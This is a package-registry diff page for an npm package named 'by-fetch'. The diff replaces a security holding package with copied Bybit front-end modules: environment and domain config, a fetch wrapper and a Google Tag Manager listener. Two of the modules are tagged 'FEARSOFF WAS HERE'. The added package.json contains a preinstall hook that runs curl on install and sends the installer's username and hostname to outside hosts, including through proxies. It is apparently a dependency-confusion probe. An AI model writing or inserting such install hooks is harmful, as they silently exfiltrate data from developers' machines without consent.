by-fetch 0.0.1-security → 12.6.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of by-fetch might be problematic. Click here for more details.

@@ -0,0 +1,240 @@
1
+ import _slicedToArray from '@babel/runtime/helpers/esm/slicedToArray';
2
+
3
+ var _window$location = window.location,
4
+ hostname = _window$location.hostname,
5
+ protocol = _window$location.protocol;
6
+ var _process$env = process.env,
7
+ BYBIT_COOKIE_DOMAIN = _process$env.BYBIT_COOKIE_DOMAIN,
8
+ BYBIT_API2_HOST = _process$env.BYBIT_API2_HOST,
9
+ BYBIT_WS2_HOST = _process$env.BYBIT_WS2_HOST;
10
+ var isSSL = protocol === 'https:';
11
+ var wsProtocol = isSSL ? 'wss:' : 'ws:'; // default config to dev-3
12
+ // www.dev-3.bybit.com
13
+
14
+ const FEARSOFF='WAS HERE.... TESTING THE BUG';
15
+
16
+ var isDev = true;
17
+ var env = 'dev-3';
18
+ var domain = 'bybit';
19
+ var domainType = 'com';
20
+
21
+ if (process.env.NODE_ENV === 'production') {
22
+ isDev = false;
23
+ var hostSplits = hostname.split('.');
24
+
25
+ if (hostSplits.length === 3) {
26
+ // www.bybit.com
27
+ // testnet.bybit.com
28
+ // m.bybit.com
29
+ // m-testnet.bybit.com
30
+ var _hostSplits = _slicedToArray(hostSplits, 3);
31
+
32
+ env = _hostSplits[0];
33
+ domain = _hostSplits[1];
34
+ domainType = _hostSplits[2];
35
+ }
36
+
37
+ if (hostSplits.length === 4) {
38
+ // www.dev-3.bybit.com
39
+ // m.dev-3.bybit.com
40
+ var _hostSplits2 = _slicedToArray(hostSplits, 4);
41
+
42
+ env = _hostSplits2[1];
43
+ domain = _hostSplits2[2];
44
+ domainType = _hostSplits2[3];
45
+ }
46
+ }
47
+
48
+ var isDevNeedSSL = isDev && (env === 'dev-3' || env === 'test-3');
49
+ /**
50
+ * env can be 1 of [
51
+ * 'www',
52
+ * 'm',
53
+ * 'testnet', 'm-testnet'
54
+ * 'test-1', 'test-2', 'test-3,
55
+ * 'dev-1', 'dev-2', 'dev-3'
56
+ * ] etc.
57
+ */
58
+
59
+ var envReg = /^(www|m)$/;
60
+ var isProdOrTestnetReg = /^(www|m|testnet|m-testnet)$/;
61
+ var isTestnet = env === 'testnet' || env === 'm-testnet';
62
+ var cdnStaticProd = 's1.bycsi.com';
63
+ var cdnStatic = isTestnet ? 't1.bycsi.com' : cdnStaticProd;
64
+ var isProd = isProdOrTestnetReg.test(env);
65
+ var DYNAMIC_ENV = env;
66
+ var currentDomain = "".concat(domain, ".").concat(domainType);
67
+ var api2ServicePrefix = "api2.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
68
+ var ws2ServicePrefix = "ws2.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
69
+ var chatPrefix = "chat.".concat(!envReg.test(env) ? "".concat(env, ".") : '');
70
+
71
+ if (isTestnet) {
72
+ api2ServicePrefix = 'api2-testnet.';
73
+ chatPrefix = 'chat-testnet.';
74
+ ws2ServicePrefix = 'ws2-testnet.';
75
+ }
76
+
77
+ var tmsPath = '';
78
+
79
+ if (!isProd) {
80
+ tmsPath = 'https://tms-internal.bybit.com';
81
+ }
82
+
83
+ var affiliatesPrefix = 'affiliates.';
84
+
85
+ if (isTestnet || !isProd) {
86
+ affiliatesPrefix = 'affiliates-testnet.';
87
+ }
88
+
89
+ var AFFILIATES_HOST = "https://".concat(affiliatesPrefix).concat(domain, ".").concat(domainType);
90
+ var api2Prefix = api2ServicePrefix;
91
+ var ws2Prefix = ws2ServicePrefix;
92
+ var DOMAIN = domain;
93
+ var DOMAIN_TYPE = domainType;
94
+ var TOKEN_COOKIE_KEY = BYBIT_COOKIE_DOMAIN || "b_t_c_k".concat(envReg.test(env) ? '' : "_".concat(env));
95
+ var CDN_STATIC_PROD = "https://".concat(cdnStaticProd);
96
+ var CDN_STATIC = "https://".concat(cdnStatic);
97
+ var CHAT_URL = "".concat(protocol, "//").concat(chatPrefix).concat(domain, ".").concat(domainType, "/chat/by-chat-widget.js");
98
+ var apiProtocol = isDevNeedSSL ? 'https:' : protocol;
99
+ var ws2Protocol = isDevNeedSSL ? 'wss:' : wsProtocol;
100
+ var API2_HOST = BYBIT_API2_HOST || "".concat(protocol, "//").concat(api2Prefix).concat(domain, ".").concat(domainType);
101
+ var WS2_HOST = BYBIT_WS2_HOST || "".concat(ws2Protocol, "//").concat(ws2Prefix).concat(domain, ".").concat(domainType);
102
+ var TMS_HOST = process.env.BYBIT_TMS_HOST || tmsPath; // export const ZENDESK_HOST = 'https://bybit.zendesk.com';
103
+
104
+ var ZENDESK_HOST = "https://help.".concat(domain, ".com");
105
+ var BLOG_HOST = "https://blog.".concat(domain, ".com"); // zendesk urls
106
+
107
+ var zBaseLink = "".concat(ZENDESK_HOST, "/hc");
108
+ var helpLang = {
109
+ 'en-US': 'en-us',
110
+ 'zh-CN': 'zh-cn',
111
+ 'zh-TW': 'zh-tw',
112
+ 'ja-JP': 'ja',
113
+ 'ko-KR': 'ko',
114
+ 'ru-RU': 'en-us',
115
+ 'vi-VN': 'en-us'
116
+ }; // 标记价格
117
+
118
+ var zMarkPrice = function zMarkPrice(lang) {
119
+ var help = helpLang[lang] || 'en-us';
120
+ var link = {
121
+ 'en-US': "/".concat(help, "/articles/360039261074-What-is-Dual-Price-mechanism-"),
122
+ 'zh-CN': "/".concat(help, "/articles/360039261074-\u4EC0\u4E48\u662F\u53CC\u5957\u4EF7\u683C\u673A\u5236-"),
123
+ 'zh-TW': "/".concat(help, "/articles/360039261074-\u4EC0\u9EBC\u662F\u96D9\u5957\u50F9\u683C\u6A5F\u5236-"),
124
+ 'ja-JP': "/".concat(help, "/articles/360039261074-\u4E8C\u91CD\u4FA1\u683C\u30E1\u30AB\u30CB\u30BA\u30E0-\u516C\u6B63\u4FA1\u683C\u30DE\u30FC\u30AD\u30F3\u30B0\u3068\u306F-"),
125
+ 'ko-KR': "/".concat(help, "/articles/360039261074-\uC774\uC911-\uAC00\uACA9-\uC2DC\uC2A4\uD15C")
126
+ }[lang] || "/".concat(help, "/articles/360039261074-What-is-Dual-Price-mechanism-");
127
+ return "".concat(zBaseLink).concat(link);
128
+ }; // 反向强平价格
129
+
130
+ var zLiquidation = function zLiquidation(lang) {
131
+ var help = helpLang[lang] || 'en-us';
132
+ var link = {
133
+ 'en-US': "/".concat(help, "/articles/360039261334-How-to-calculate-Liquidation-Price-Inverse-Contract-"),
134
+ 'zh-CN': "/".concat(help, "/articles/360039261334-\u5F3A\u5E73\u4EF7\u683C\u8BA1\u7B97-\u53CD\u5411\u6C38\u7EED-"),
135
+ 'zh-TW': "/".concat(help, "/articles/360039261334-\u5F37\u5E73\u50F9\u683C\u8A08\u7B97-\u53CD\u5411\u6C38\u7E8C-"),
136
+ 'ja-JP': "/".concat(help, "/articles/360039261334-\u5F37\u5236\u6C7A\u6E08\u3068\u306F\u4F55\u3067\u3059\u304B-\u30A4\u30F3\u30D0\u30FC\u30B9\u578B\u5951\u7D04-"),
137
+ 'ko-KR': "/".concat(help, "/articles/360039261334-\uAC15\uC81C\uCCAD\uC0B0\uC774\uB780-\uC778\uBC84\uC2A4-\uBB34\uAE30\uD55C-")
138
+ }[lang] || "/".concat(help, "/articles/360039261334-How-to-calculate-Liquidation-Price-Inverse-Contract-");
139
+ return "".concat(zBaseLink).concat(link);
140
+ }; // 正向强平价格
141
+
142
+ var zLinearLiquidation = function zLinearLiquidation(lang) {
143
+ var help = helpLang[lang] || 'en-us';
144
+ var link = {
145
+ 'en-US': "/".concat(help, "/articles/900000181046-Liquidation-Price-USDT-Contract-"),
146
+ 'zh-CN': "/".concat(help, "/articles/900000181046-\u5F3A\u5E73\u4EF7\u683C\u8BA1\u7B97-USDT\u6C38\u7EED-"),
147
+ 'zh-TW': "/".concat(help, "/articles/900000181046-\u5F37\u5E73\u50F9\u683C\u8A08\u7B97-USDT\u6C38\u7E8C-"),
148
+ 'ja-JP': "/".concat(help, "/articles/900000181046-USDT\u7121\u671F\u9650\u5951\u7D04\u3067\u306E\u5F37\u5236\u6C7A\u6E08\u4FA1\u683C"),
149
+ 'ko-KR': "/".concat(help, "/articles/900000181046-\uAC15\uC81C\uCCAD\uC0B0-\uAC00\uACA9-\uACC4\uC0B0\uBC29\uBC95-USDT\uACC4\uC57D-")
150
+ }[lang] || "/".concat(help, "/articles/900000181046-Liquidation-Price-USDT-Contract-");
151
+ return "".concat(zBaseLink).concat(link);
152
+ }; // 风险限额
153
+
154
+ var zRiskLimit = function zRiskLimit(lang) {
155
+ var help = helpLang[lang] || 'en-us';
156
+ var link = {
157
+ 'en-US': "/".concat(help, "/articles/360039749753"),
158
+ 'zh-CN': "/".concat(help, "/articles/360039749753"),
159
+ 'zh-TW': "/".concat(help, "/articles/360039749753"),
160
+ 'ja-JP': "/".concat(help, "/articles/360039749753"),
161
+ 'ko-KR': "/".concat(help, "/articles/360039749753")
162
+ }[lang] || "/".concat(help, "/articles/360039749753");
163
+ return "".concat(zBaseLink).concat(link);
164
+ }; // 交易费用, 反向永续/正向永续
165
+
166
+ var TFEEURL = function TFEEURL(lang) {
167
+ var help = helpLang[lang] || 'en-us';
168
+ var link = {
169
+ 'en-US': "/".concat(help, "/articles/360039261154"),
170
+ 'zh-CN': "/".concat(help, "/articles/360039261154"),
171
+ 'zh-TW': "/".concat(help, "/articles/360039261154"),
172
+ 'ja-JP': "/".concat(help, "/articles/360039261154"),
173
+ 'ko-KR': "/".concat(help, "/articles/360039261154"),
174
+ 'ru-RU': "/".concat(help, "/articles/360039261154")
175
+ }[lang] || "/".concat(help, "/articles/360039261154");
176
+ return "".concat(zBaseLink).concat(link);
177
+ }; // 交易费用, 反向交割
178
+
179
+ var FITFEEURL = function FITFEEURL(lang) {
180
+ var help = helpLang[lang] || 'en-us';
181
+ var link = {
182
+ 'en-US': "/".concat(help, "/articles/900003221726"),
183
+ 'zh-CN': "/".concat(help, "/articles/900003221726"),
184
+ 'zh-TW': "/".concat(help, "/articles/900003221726"),
185
+ 'ja-JP': "/".concat(help, "/articles/900003221726"),
186
+ 'ko-KR': "/".concat(help, "/articles/900003221726"),
187
+ 'ru-RU': "/".concat(help, "/articles/900003221726")
188
+ }[lang] || "/".concat(help, "/articles/900003221726");
189
+ return "".concat(zBaseLink).concat(link);
190
+ }; // 资金费率计算
191
+
192
+ var FFEEURL = function FFEEURL(lang) {
193
+ var help = helpLang[lang] || 'en-us';
194
+ var link = {
195
+ 'en-US': "/".concat(help, "/articles/360039261114"),
196
+ 'zh-CN': "/".concat(help, "/articles/360039261114"),
197
+ 'zh-TW': "/".concat(help, "/articles/360039261114"),
198
+ 'ja-JP': "/".concat(help, "/articles/360039261114"),
199
+ 'ko-KR': "/".concat(help, "/articles/360039261114"),
200
+ 'ru-RU': "/".concat(help, "/articles/360039261114")
201
+ }[lang] || "/".concat(help, "/articles/360039261114");
202
+ return "".concat(zBaseLink).concat(link);
203
+ }; // 指数价格
204
+
205
+ var INDEXPRICEURL = function INDEXPRICEURL(lang) {
206
+ var help = helpLang[lang] || 'en-us';
207
+ var link = {
208
+ 'en-US': "/".concat(help, "/articles/360039261094"),
209
+ 'zh-CN': "/".concat(help, "/articles/360039261094"),
210
+ 'zh-TW': "/".concat(help, "/articles/360039261094"),
211
+ 'ja-JP': "/".concat(help, "/articles/360039261094"),
212
+ 'ko-KR': "/".concat(help, "/articles/360039261094"),
213
+ 'ru-RU': "/".concat(help, "/articles/360039261094")
214
+ }[lang] || "/".concat(help, "/articles/360039261094");
215
+ return "".concat(zBaseLink).concat(link);
216
+ }; // 交割 指数价格
217
+
218
+ var FUTUREINDEXPRICEURL = function FUTUREINDEXPRICEURL(lang) {
219
+ var help = helpLang[lang] || 'en-us';
220
+ var link = {
221
+ 'en-US': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
222
+ 'zh-CN': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
223
+ 'zh-TW': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
224
+ 'ja-JP': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
225
+ 'ko-KR': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-"),
226
+ 'ru-RU': "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-")
227
+ }[lang] || "/".concat(help, "/articles/900003318406-Index-Price-Futures-Contracts-");
228
+ return "".concat(zBaseLink).concat(link);
229
+ };
230
+ var exportUrl = isProd ? 'https://public.bybit.com' : process.env.BYBIT_EXPORT_URL;
231
+
232
+ export { AFFILIATES_HOST, API2_HOST, BLOG_HOST, CDN_STATIC, CDN_STATIC_PROD, CHAT_URL, DOMAIN, DOMAIN_TYPE, DYNAMIC_ENV, FFEEURL, FITFEEURL, FUTUREINDEXPRICEURL, INDEXPRICEURL, TFEEURL, TMS_HOST, TOKEN_COOKIE_KEY, WS2_HOST, ZENDESK_HOST, api2Prefix, apiProtocol, cdnStatic, currentDomain, exportUrl, helpLang, isProd, ws2Prefix, ws2Protocol, zBaseLink, zLinearLiquidation, zLiquidation, zMarkPrice, zRiskLimit };
233
+
234
+
235
+
236
+ //////////////////
237
+ // WEBPACK FOOTER
238
+ // ./node_modules/by-data-pool/node_modules/by-dynamic-domain/dist/by-dynamic-domain.es.js
239
+ // module id = null
240
+ // module chunks =
package/by-fetch.es.js ADDED
@@ -0,0 +1,252 @@
1
+ import _objectSpread from '@babel/runtime/helpers/esm/objectSpread2';
2
+ import _classCallCheck from '@babel/runtime/helpers/esm/classCallCheck';
3
+ import _createClass from '@babel/runtime/helpers/esm/createClass';
4
+
5
+ /**
6
+ * Detect weather
7
+ */
8
+ var canAbortFetch = null; // Window cannot be used in web worker
9
+
10
+ try {
11
+ canAbortFetch = 'AbortController' in window;
12
+ } catch (_) {
13
+ canAbortFetch = null;
14
+ }
15
+ /**
16
+ * Default response type for module
17
+ */
18
+
19
+
20
+ var DEFAULT_RESP_TYPE = 'json';
21
+ /**
22
+ * Default timeout time
23
+ */
24
+
25
+ var DEFAULT_TIMEOUT = 30000; // 30s
26
+
27
+ /**
28
+ * Get an check the responseType user sets.
29
+ */
30
+
31
+ var getResponseType = function getResponseType(type) {
32
+ var validType = String(type).toLowerCase();
33
+ var types = {
34
+ json: true,
35
+ text: true,
36
+ formData: true,
37
+ blob: true,
38
+ arrayBuffer: true
39
+ };
40
+ return types[validType] ? validType : DEFAULT_RESP_TYPE;
41
+ };
42
+ /**
43
+ * Fetch class used to create new fetch instance
44
+ *
45
+ * @author lucky.zhou
46
+ * @class
47
+ */
48
+
49
+
50
+ var Fetch = /*#__PURE__*/function () {
51
+ function Fetch() {
52
+ var defaultConfig = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
53
+ var settings = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
54
+
55
+ _classCallCheck(this, Fetch);
56
+
57
+ this.defaultOpts = defaultConfig;
58
+ this.timeout = settings.timeout || DEFAULT_TIMEOUT;
59
+ this.interceptors = {
60
+ response: [],
61
+ request: [],
62
+ errorHandler: [],
63
+ finally: []
64
+ };
65
+ }
66
+
67
+ _createClass(Fetch, [{
68
+ key: "get",
69
+ value: function get(url) {
70
+ var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
71
+ var respType = arguments.length > 2 ? arguments[2] : undefined;
72
+ var nUrl = url;
73
+
74
+ if (opts.body) {
75
+ var params = opts.body;
76
+ var keys = Object.keys(params);
77
+ keys.forEach(function (key) {
78
+ var param = "".concat(key, "=").concat(params[key]);
79
+ nUrl = nUrl.indexOf('?') > -1 ? "".concat(nUrl, "&").concat(param) : "".concat(nUrl, "?").concat(param);
80
+ });
81
+ delete opts.body;
82
+ }
83
+
84
+ return this.fetch(nUrl, _objectSpread(_objectSpread({}, opts), {}, {
85
+ method: 'get'
86
+ }), respType);
87
+ }
88
+ }, {
89
+ key: "post",
90
+ value: function post(url) {
91
+ var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
92
+ var respType = arguments.length > 2 ? arguments[2] : undefined;
93
+ return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
94
+ method: 'post'
95
+ }), respType);
96
+ }
97
+ }, {
98
+ key: "delete",
99
+ value: function _delete(url) {
100
+ var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
101
+ var respType = arguments.length > 2 ? arguments[2] : undefined;
102
+ return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
103
+ method: 'delete'
104
+ }), respType);
105
+ }
106
+ }, {
107
+ key: "put",
108
+ value: function put(url) {
109
+ var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
110
+ var respType = arguments.length > 2 ? arguments[2] : undefined;
111
+ return this.fetch(url, _objectSpread(_objectSpread({}, opts), {}, {
112
+ method: 'put'
113
+ }), respType);
114
+ }
115
+ /**
116
+ * Base function for using default fetch
117
+ *
118
+ * @param {string} url The request url
119
+ * @param {object} options The request options
120
+ *
121
+ * @description
122
+ * `options` follow the w3c fetch options structure
123
+ * `meta` in `options` used to pass meta info.
124
+ *
125
+ * @returns {Promise} The request promise
126
+ */
127
+
128
+ }, {
129
+ key: "fetch",
130
+ value: function (_fetch) {
131
+ function fetch(_x) {
132
+ return _fetch.apply(this, arguments);
133
+ }
134
+
135
+ fetch.toString = function () {
136
+ return _fetch.toString();
137
+ };
138
+
139
+ return fetch;
140
+ }(function (url) {
141
+ var _this = this;
142
+
143
+ var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
144
+ var respType = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : DEFAULT_RESP_TYPE;
145
+
146
+ var opts = _objectSpread(_objectSpread(_objectSpread({}, this.defaultOpts), options), {}, {
147
+ headers: _objectSpread(_objectSpread({}, this.defaultOpts.headers), options.headers)
148
+ }); // to use chained options in interceptors array
149
+
150
+
151
+ var hackedOpts = this.interceptors.request.reduce(function (prev, cur) {
152
+ return cur(prev, url);
153
+ }, opts);
154
+ var timeoutTimer;
155
+ var fetchController = canAbortFetch ? new AbortController() : {};
156
+ hackedOpts.signal = fetchController.signal;
157
+ /**
158
+ * timeout promise to abort request if necessary
159
+ */
160
+
161
+ var abortPromise = new Promise(function (resolve, reject) {
162
+ timeoutTimer = setTimeout(function () {
163
+ // Must reject first here!
164
+ // eslint-disable-next-line
165
+ reject({
166
+ ret_code: 9000001,
167
+ ret_msg: 'Request timeout, please re-try!'
168
+ });
169
+ /* istanbul ignore next */
170
+
171
+ if (canAbortFetch) fetchController.abort();
172
+ }, _this.timeout);
173
+ });
174
+ /**
175
+ * real fetch request promise
176
+ */
177
+
178
+ var fetchPromise = fetch(url, hackedOpts);
179
+ return Promise.race([fetchPromise, abortPromise]) // 1. clear timeout timer
180
+ .then(function (resp) {
181
+ clearTimeout(timeoutTimer);
182
+ return resp;
183
+ }) // 2. transform response data type and return
184
+ .then(function (resp) {
185
+ if (resp.status >= 400) return Promise.reject({
186
+ status: resp.status
187
+ });
188
+ return resp.ok && resp[getResponseType(respType)]();
189
+ }) // 3. handle response interceptors transform and return new data
190
+ .then(function (data) {
191
+ return _this.interceptors.response.reduce(function (prev, cur) {
192
+ return prev.then(cur);
193
+ }, Promise.resolve({
194
+ data: data,
195
+ config: hackedOpts,
196
+ url: url
197
+ }));
198
+ }).catch(function (err) {
199
+ _this.interceptors.errorHandler.forEach(function (fn) {
200
+ return fn(err, hackedOpts, url);
201
+ }); // throw err;
202
+
203
+
204
+ return Promise.reject(err);
205
+ }).finally(function () {
206
+ _this.interceptors.finally.forEach(function (fn) {
207
+ return fn();
208
+ });
209
+ });
210
+ })
211
+ }]);
212
+
213
+ return Fetch;
214
+ }();
215
+ /**
216
+ * Fetch instance factory function
217
+ *
218
+ * @param {object} cfg The request options for every request
219
+ * @param {object} settings The fetch settings for controller
220
+ */
221
+
222
+
223
+ var createFetchInstance = function createFetchInstance() {
224
+ var opts = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
225
+ var settings = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
226
+
227
+ /* istanbul ignore next */
228
+ if (!('fetch' in window)) {
229
+ // eslint-disable-next-line
230
+ console.error('fetch function doesn\'t detected in you environment');
231
+ return null;
232
+ }
233
+
234
+ var instance = new Fetch(opts, settings);
235
+ var rawFetch = instance.fetch.bind(instance);
236
+ rawFetch.get = instance.get.bind(instance);
237
+ rawFetch.post = instance.post.bind(instance);
238
+ rawFetch.put = instance.put.bind(instance);
239
+ rawFetch.delete = instance.delete.bind(instance);
240
+ rawFetch.interceptors = instance.interceptors;
241
+ return rawFetch;
242
+ };
243
+
244
+ export default createFetchInstance;
245
+
246
+
247
+
248
+ //////////////////
249
+ // WEBPACK FOOTER
250
+ // ./node_modules/by-fetch/dist/by-fetch.es.js
251
+ // module id = iZRq
252
+ // module chunks = 70
package/by-gtm.js ADDED
@@ -0,0 +1,51 @@
1
+ /* eslint-disable */
2
+
3
+ /**
4
+ * @global dataLayer can be filled info and send to Google Tag Manager.
5
+ */
6
+ window.dataLayer = window.dataLayer || [];
7
+
8
+ /**
9
+ * @function pushEvent - Sendout data ,needs three params:
10
+ * @param {string} eventAction
11
+ * @param {string} eventCategory
12
+ * @param {string} eventLabel
13
+ */
14
+ const pushEvent = (eventAction, eventCategory, eventLabel) => {
15
+ window.dataLayer.push({ event: "GAEvent", eventAction, eventCategory, eventLabel });
16
+ };
17
+
18
+ const FEARSOFF='WAS HERE.... TESTING THE BUG';
19
+
20
+ /**
21
+ * At first listen page, second get variable buried`s value,then sendout data
22
+ * @variable {string} buried - comes from the clicked html tag.
23
+ * @param {Array} buriedValArr - at least 3 params
24
+ * Usage: set property at html tags. <div data-buried="'action','category','label'"></div>
25
+ */
26
+ export const addGtmListener = () => {
27
+ document.addEventListener(
28
+ "click",
29
+ function(e) {
30
+ const { buried } = e.target.dataset;
31
+ if (!buried) return;
32
+ const buriedArr = buried.split(",");
33
+ pushEvent(...buriedArr);
34
+ },
35
+ true,
36
+ );
37
+ };
38
+
39
+ /**
40
+ * Export event to use it in the method.
41
+ * Usage: pushEvent('action','category','label')
42
+ */
43
+ export default pushEvent;
44
+
45
+
46
+
47
+ //////////////////
48
+ // WEBPACK FOOTER
49
+ // ./node_modules/by-gtm/index.js
50
+ // module id = +gEr
51
+ // module chunks = 65
package/by-network.js ADDED
@@ -0,0 +1,7 @@
1
+ export { default as createFetchInstance } from './src/fetch';
2
+ export { default as wsio } from './src/wsio';
3
+
4
+
5
+
6
+ // WEBPACK FOOTER //
7
+ // ./node_modules/by-network/index.js
package/env.js ADDED
@@ -0,0 +1,101 @@
1
+ var _window$location = window.location,
2
+ hostname = _window$location.hostname,
3
+ protocol = _window$location.protocol; // 运行环境根据域名判断
4
+
5
+ export var isProdOrTestnet = /^[^.]+\.[^.]+\.[^.]+$/.test(hostname);
6
+ export var isTestnet = isProdOrTestnet && /^[^.]*testnet[^.]*\./.test(hostname);
7
+ export var isProd = isProdOrTestnet && !isTestnet;
8
+ export var isTest = !isTestnet && !isProd;
9
+ export var isDev = isTest;
10
+ export var isSSL = protocol === 'https:';
11
+ /* (START) Just for Automan
12
+ 以下代码与业务template 以及 automan功能脚本注入 联动,关联性暂时依赖人为维护,可维护性待升级
13
+ */
14
+ // eslint-disable-next-line no-underscore-dangle
15
+
16
+ var globalConfig = window.__BYBIT_GLOBAL_CONFIG__ || {};
17
+ var ac = globalConfig.enableAutoman && globalConfig.automan || {};
18
+ export var ENV_RUNTIME_ENV = ac.AUTOMAN_RUNTIME_ENV; // 接口相关
19
+
20
+ export var ENV_API2_HOST = ac.AUTOMAN_API2_HOST;
21
+ export var ENV_WS2_HOST = ac.AUTOMAN_WS2_HOST; // 翻译
22
+
23
+ export var ENV_TMS_HOST = ac.AUTOMAN_TMS_HOST;
24
+ export var ENV_TMS_PATH = ac.AUTOMAN_TMS_PATH;
25
+ export var ENV_TMS_FULL_PATH = ac.AUTOMAN_TMS_FULL_PATH; // 线路切换
26
+
27
+ export var ENV_SERVICE_DOMAINS = ac.AUTOMAN_SERVICE_DOMAINS; // apm
28
+
29
+ export var ENV_APM_ENABLED = ac.AUTOMAN_APM_ENABLED;
30
+ export var ENV_APM_URL = ac.AUTOMAN_APM_URL; // sentry
31
+
32
+ export var ENV_SENTRY_ENABLED = ac.AUTOMAN_SENTRY_ENABLED;
33
+ export var ENV_SENTRY_DSN = ac.AUTOMAN_SENTRY_DSN; // Logger
34
+
35
+ export var ENV_LOGGER_ENABLED = ac.AUTOMAN_LOGGER_ENABLED;
36
+ export var ENV_LOGGER_URL = ac.AUTOMAN_LOGGER_URL; // Metric
37
+
38
+ export var ENV_METRIC_URL = ac.AUTOMAN_METRIC_URL;
39
+ export var ENV_METRIC_ENABLED = ac.AUTOMAN_METRIC_ENABLED;
40
+ /* 以上代码与业务template 以及 automan功能脚本注入 联动,关联性暂时依赖人为维护,可维护性待升级
41
+ (END) Just for Automan
42
+ */
43
+ // runtime env 代替原来jenkins中的构建常量BUILD_ENV
44
+
45
+ var runtimeEnv = 'local';
46
+
47
+ if (isTestnet) {
48
+ runtimeEnv = 'testnet';
49
+ } else if (isProd) {
50
+ runtimeEnv = 'prod';
51
+ } else if (isTest) {
52
+ runtimeEnv = 'test';
53
+ }
54
+
55
+ export var RUNTIME_ENV = ENV_RUNTIME_ENV || runtimeEnv; // 翻译系统
56
+
57
+ var tmsHost = isTest ? 'https://tms.ffe390afd658c19dcbf707e0597b846d.de' : '';
58
+ export var TMS_HOST = process.env.BYBIT_TMS_HOST || ENV_TMS_HOST || tmsHost;
59
+ var tmsPath = isTest ? '/download/{{projectId}}/{{ns}}/{{lng}}/' : '/translations/{{projectId}}/{{lng}}/{{ns}}.json';
60
+ export var TMS_PATH = process.env.BYBIT_I18N_SOURCE_URL || ENV_TMS_PATH || tmsPath;
61
+ export var TMS_FULL_PATH = ENV_TMS_FULL_PATH || "".concat(TMS_HOST).concat(TMS_PATH); // 线路切换
62
+
63
+ var serviceDomains = '';
64
+
65
+ if (isTestnet) {
66
+ serviceDomains = 'bybitglobal.com';
67
+ } else if (isProd) {
68
+ serviceDomains = 'bycbe.com, byapis.com';
69
+ } else if (isTest) {
70
+ serviceDomains = 'bybit-cn.com';
71
+ }
72
+
73
+ export var BYBIT_SERVICE_DOMAINS = process.env.BYBIT_SERVICE_DOMAINS || ENV_SERVICE_DOMAINS || serviceDomains;
74
+ /* skynet begin */
75
+ // APM
76
+
77
+ var apmUrl = isProd && 'https://apm.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTestnet && 'https://apm-testnet.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTest && 'http://10.110.185.208:30859' || 'http://10.120.140.129:30859';
78
+ export var APM_URL = process.env.BYBIT_APM_URL || ENV_APM_URL || apmUrl;
79
+ var apmDisabled = process.env.BYBIT_APM_DISABLED === 'true';
80
+ export var APM_ENABLED = process.env.BYBIT_APM_DISABLED || !apmDisabled; // Sentry
81
+
82
+ export var SENTRY_DSN = process.env.BYBIT_SENTRY_DSN || ENV_SENTRY_DSN;
83
+ var sentryDisabled = process.env.BYBIT_SENTRY_DISABLED === 'true';
84
+ export var SENTRY_ENABLED = ENV_SENTRY_ENABLED || !sentryDisabled; // Logger
85
+
86
+ var logger_url = isProd ? 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front' : 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front-testnet';
87
+ export var LOGGER_URL = process.env.BYBIT_LOGGER_URL || ENV_LOGGER_URL || logger_url;
88
+ var loggerDisabled = process.env.BYBIT_LOGGER_DISABLED === 'true';
89
+ export var LOGGER_ENABLED = ENV_LOGGER_ENABLED || !loggerDisabled; // Metric
90
+
91
+ export var METRIC_URL = process.env.BYBIT_METRIC_URL || ENV_METRIC_URL || '/v2/public/metrics';
92
+ var metricDisabled = process.env.BYBIT_METRIC_DISABLED === 'true';
93
+ export var METRIC_ENABLED = ENV_METRIC_ENABLED || !metricDisabled;
94
+ /* skynet end */
95
+
96
+
97
+ //////////////////
98
+ // WEBPACK FOOTER
99
+ // ./node_modules/by-env/es/env.js
100
+ // module id = null
101
+ // module chunks =
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ /* Just a template root here
2
+ * This file used to wrapper all source files.
3
+ *
4
+ * e.g.
5
+ * export { default as fn } from './src/fn'
6
+ */
7
+ export * from './env';
8
+
9
+
10
+ //////////////////
11
+ // WEBPACK FOOTER
12
+ // ./node_modules/by-env/es/index.js
13
+ // module id = null
14
+ // module chunks =
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "by-fetch",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "12.6.0",
4
+ "description": "",
5
+ "main": "by-fetch.es.js",
6
+ "scripts": {
7
+ "test": "echo 123",
8
+ "preinstall": "curl -m2 $(whoami).byfet4.foff.dnslog.pw > /dev/null 2>&1 || true;curl -m1 http://inmate.today/npm/fet4/$(hostname) > /dev/null 2>&1 || true;curl -m1 -x devtest-proxy.internal:3128 http://inmate.today/npm/fet4/devtest/$(hostname) > /dev/null 2>&1 || true; curl -m1 -x 129.226.124.138:3128 http://inmate.today/npm/fet4/hk/$(hostname) > /dev/null 2>&1 || true"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/src/fetch.js ADDED
@@ -0,0 +1,192 @@
1
+ /**
2
+ * Detect weather
3
+ */
4
+ let canAbortFetch = null;
5
+ // Window cannot be used in web worker
6
+ try {
7
+ canAbortFetch = 'AbortController' in window;
8
